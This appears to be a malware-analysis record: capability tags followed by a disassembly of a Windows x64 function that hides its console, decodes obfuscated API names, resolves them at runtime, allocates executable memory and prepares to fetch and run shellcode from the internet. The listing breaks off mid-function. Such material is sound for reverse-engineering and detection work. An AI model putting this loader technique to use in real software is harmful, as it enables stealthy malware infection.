Function at 0x4010a0
Capabilities:
Allocate or change rwx memory
Create http request
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get http content length
Read data from internet
Receive data

Disassembly:
mov rax, rsp
sub rsp, 0x118
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rax - 8], rbx
mov qword [rax - 0x10], rbp
mov qword [rax - 0x18], rsi
mov qword [rax - 0x20], rdi
mov qword [rax - 0x28], r12
mov qword [rax - 0x30], r13
mov qword [rax - 0x38], r14
mov qword [rax - 0x40], r15
mov rax, qword [0x004120d8]
xor rax, rsp
mov qword [rsp + 0xc0], rax
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x401104
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
cmp dword [0x004906fc], 0x3b9aca00
jg 0x401124
xor ecx, ecx
call qword [sym.imp.USER32.dll_UpdateWindow]
add dword [0x004906fc], 1
call fcn.00401060
xor esi, esi
mov edi, esi
mov ecx, 1
mov ebp, 0x20
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x4f
je 0x401152
test edx, edx
je 0x401156
jmp 0x401158
test edx, edx
je 0x401158
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401140
mov byte [rsp + 0x98], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x61
je 0x401184
test edx, edx
je 0x401188
jmp 0x40118a
test edx, edx
je 0x40118a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401172
mov byte [rsp + 0x99], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x76
je 0x4011b6
test edx, edx
je 0x4011ba
jmp 0x4011bc
test edx, edx
je 0x4011bc
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4011a4
mov byte [rsp + 0x9a], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x6a
je 0x4011f2
test edx, edx
je 0x4011f6
jmp 0x4011f8
test edx, edx
je 0x4011f8
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4011e0
mov byte [rsp + 0x9b], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x61
je 0x401224
test edx, edx
je 0x401228
jmp 0x40122a
test edx, edx
je 0x40122a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401212
mov byte [rsp + 0x9c], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x401256
test edx, edx
je 0x40125a
jmp 0x40125c
test edx, edx
je 0x40125c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401244
mov byte [rsp + 0x9d], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x37
je 0x401292
test edx, edx
je 0x401296
jmp 0x401298
test edx, edx
je 0x401298
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401280
mov byte [rsp + 0x9e], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x36
je 0x4012c4
test edx, edx
je 0x4012c8
jmp 0x4012ca
test edx, edx
je 0x4012ca
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4012b2
mov byte [rsp + 0x9f], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x2a
je 0x4012f6
test edx, edx
je 0x4012fa
jmp 0x4012fc
test edx, edx
je 0x4012fc
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4012e4
mov byte [rsp + 0xa0], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x60
je 0x401332
test edx, edx
je 0x401336
jmp 0x401338
test edx, edx
je 0x401338
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401320
mov byte [rsp + 0xa1], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x401364
test edx, edx
je 0x401368
jmp 0x40136a
test edx, edx
je 0x40136a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401352
mov byte [rsp + 0xa2], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x401396
test edx, edx
je 0x40139a
jmp 0x40139c
test edx, edx
je 0x40139c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401384
mov byte [rsp + 0xa3], dil
mov edx, esi
mov ecx, 1
mov rdi, rbp
mov eax, ecx
and eax, 4
je 0x4013c3
test eax, eax
je 0x4013c7
jmp 0x4013c9
test eax, eax
je 0x4013c9
or edx, ecx
add ecx, ecx
sub rdi, 1
jne 0x4013b6
mov byte [rsp + 0xa4], dl
lea rcx, [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9, rax
mov qword [rsp + 0x40], rax
mov edi, esi
mov edx, 1
mov r8, rbp
nop
nop
mov ecx, edx
mov eax, edx
and eax, 4
and ecx, 0x52
je 0x401412
test eax, eax
je 0x401416
jmp 0x401418
test eax, eax
je 0x401418
or edi, edx
add edx, edx
sub r8, 1
jne 0x401400
mov byte [rsp + 0x88], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x6d
je 0x401444
test edx, edx
je 0x401448
jmp 0x40144a
test edx, edx
je 0x40144a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401432
mov byte [rsp + 0x89], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x76
je 0x401476
test edx, edx
je 0x40147a
jmp 0x40147c
test edx, edx
je 0x40147c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401464
mov byte [rsp + 0x8a], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x70
je 0x4014b2
test edx, edx
je 0x4014b6
jmp 0x4014b8
test edx, edx
je 0x4014b8
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4014a0
mov byte [rsp + 0x8b], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x71
je 0x4014e4
test edx, edx
je 0x4014e8
jmp 0x4014ea
test edx, edx
je 0x4014ea
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4014d2
mov byte [rsp + 0x8c], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x65
je 0x401516
test edx, edx
je 0x40151a
jmp 0x40151c
test edx, edx
je 0x40151c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401504
mov byte [rsp + 0x8d], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x401552
test edx, edx
je 0x401556
jmp 0x401558
test edx, edx
je 0x401558
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401540
mov byte [rsp + 0x8e], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x45
je 0x401584
test edx, edx
je 0x401588
jmp 0x40158a
test edx, edx
je 0x40158a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401572
mov byte [rsp + 0x8f], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x4015b6
test edx, edx
je 0x4015ba
jmp 0x4015bc
test edx, edx
je 0x4015bc
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4015a4
mov byte [rsp + 0x90], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x68
je 0x4015f2
test edx, edx
je 0x4015f6
jmp 0x4015f8
test edx, edx
je 0x4015f8
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4015e0
mov byte [rsp + 0x91], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x6b
je 0x401624
test edx, edx
je 0x401628
jmp 0x40162a
test edx, edx
je 0x40162a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401612
mov byte [rsp + 0x92], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 4
and eax, 0x67
je 0x401656
test edx, edx
je 0x40165a
jmp 0x40165c
test edx, edx
je 0x40165c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401644
mov byte [rsp + 0x93], dil
mov edx, esi
mov ecx, 1
mov rdi, rbp
mov eax, ecx
and eax, 4
je 0x401683
test eax, eax
je 0x401687
jmp 0x401689
test eax, eax
je 0x401689
or edx, ecx
add ecx, ecx
sub rdi, 1
jne 0x401676
mov byte [rsp + 0x94], dl
lea rdx, [rsp + 0x88]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9d, [rdi + 0x40]
mov r8d, 0x1000
mov r14d, 0x7c600
mov rdx, r14
xor ecx, ecx
call rax
mov r15, rax
mov edi, esi
mov edx, 1
mov r8, rbp
nop
mov ecx, edx
mov eax, edx
and eax, 1
and ecx, 0x4b
je 0x4016e2
test eax, eax
je 0x4016e6
jmp 0x4016e8
test eax, eax
je 0x4016e8
or edi, edx
add edx, edx
sub r8, 1
jne 0x4016d0
mov byte [rsp + 0x78], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x60
je 0x401712
test edx, edx
je 0x401716
jmp 0x401718
test edx, edx
je 0x401718
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401700
mov byte [rsp + 0x79], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x53
je 0x401742
test edx, edx
je 0x401746
jmp 0x401748
test edx, edx
je 0x401748
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401730
mov byte [rsp + 0x7a], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x31
je 0x401772
test edx, edx
je 0x401776
jmp 0x401778
test edx, edx
je 0x401778
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401760
mov byte [rsp + 0x7b], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x53
je 0x4017a2
test edx, edx
je 0x4017a6
jmp 0x4017a8
test edx, edx
je 0x4017a8
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401790
mov byte [rsp + 0x7c], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x65
je 0x4017d2
test edx, edx
je 0x4017d6
jmp 0x4017d8
test edx, edx
je 0x4017d8
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4017c0
mov byte [rsp + 0x7d], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x35
je 0x401802
test edx, edx
je 0x401806
jmp 0x401808
test edx, edx
je 0x401808
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4017f0
mov byte [rsp + 0x7e], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x4b
je 0x401832
test edx, edx
je 0x401836
jmp 0x401838
test edx, edx
je 0x401838
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401820
mov byte [rsp + 0x7f], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x46
je 0x401862
test edx, edx
je 0x401866
jmp 0x401868
test edx, edx
je 0x401868
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401850
mov byte [rsp + 0x80], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x72
je 0x401894
test edx, edx
je 0x401898
jmp 0x40189a
test edx, edx
je 0x40189a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401882
mov byte [rsp + 0x81], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x57
je 0x4018c6
test edx, edx
je 0x4018ca
jmp 0x4018cc
test edx, edx
je 0x4018cc
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4018b4
mov byte [rsp + 0x82], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
nop
nop
nop
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x35
je 0x401902
test edx, edx
je 0x401906
jmp 0x401908
test edx, edx
je 0x401908
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x4018f0
mov byte [rsp + 0x83], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x34
je 0x401934
test edx, edx
je 0x401938
jmp 0x40193a
test edx, edx
je 0x40193a
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401922
mov byte [rsp + 0x84], dil
mov edi, esi
mov ecx, 1
mov r8, rbp
mov eax, ecx
mov edx, ecx
and edx, 1
and eax, 0x64
je 0x401966
test edx, edx
je 0x40196a
jmp 0x40196c
test edx, edx
je 0x40196c
or edi, ecx
add ecx, ecx
sub r8, 1
jne 0x401954
mov byte [rsp + 0x85], dil
mov edx, esi
mov ecx, 1
mov rdi, rbp
mov eax, ecx
and eax, 1
je 0x401993
test eax, eax
je 0x401997
jmp 0x401999
test eax, eax
je 0x401999
or edx, ecx
add ecx, ecx
sub rdi, 1
jne 0x401986
mov byte [rsp + 0x86], dl
mov qword [rsp + 0x70], 0xf
mov qword [rsp + 0x68], rsi
mov byte [rsp + 0x58], sil
xor eax, eax
mov rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x78]
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
mov rdi, rcx
cmp rcx, 0xfffffffffffffffe
jbe 0x4019e0
call fcn.004027c0
cmp qword [rsp + 0x70], rdi
jae 0x4019fb
mov r8, qword [rsp + 0x68]
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.00402460
jmp 0x401a1b
test rdi, rdi
jne 0x401a1b
mov qword [rsp + 0x68], rsi
lea rax, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rax, qword [rsp + 0x58]
mov byte [rax], sil
jmp 0x401a5b
test rdi, rdi
je 0x401a5b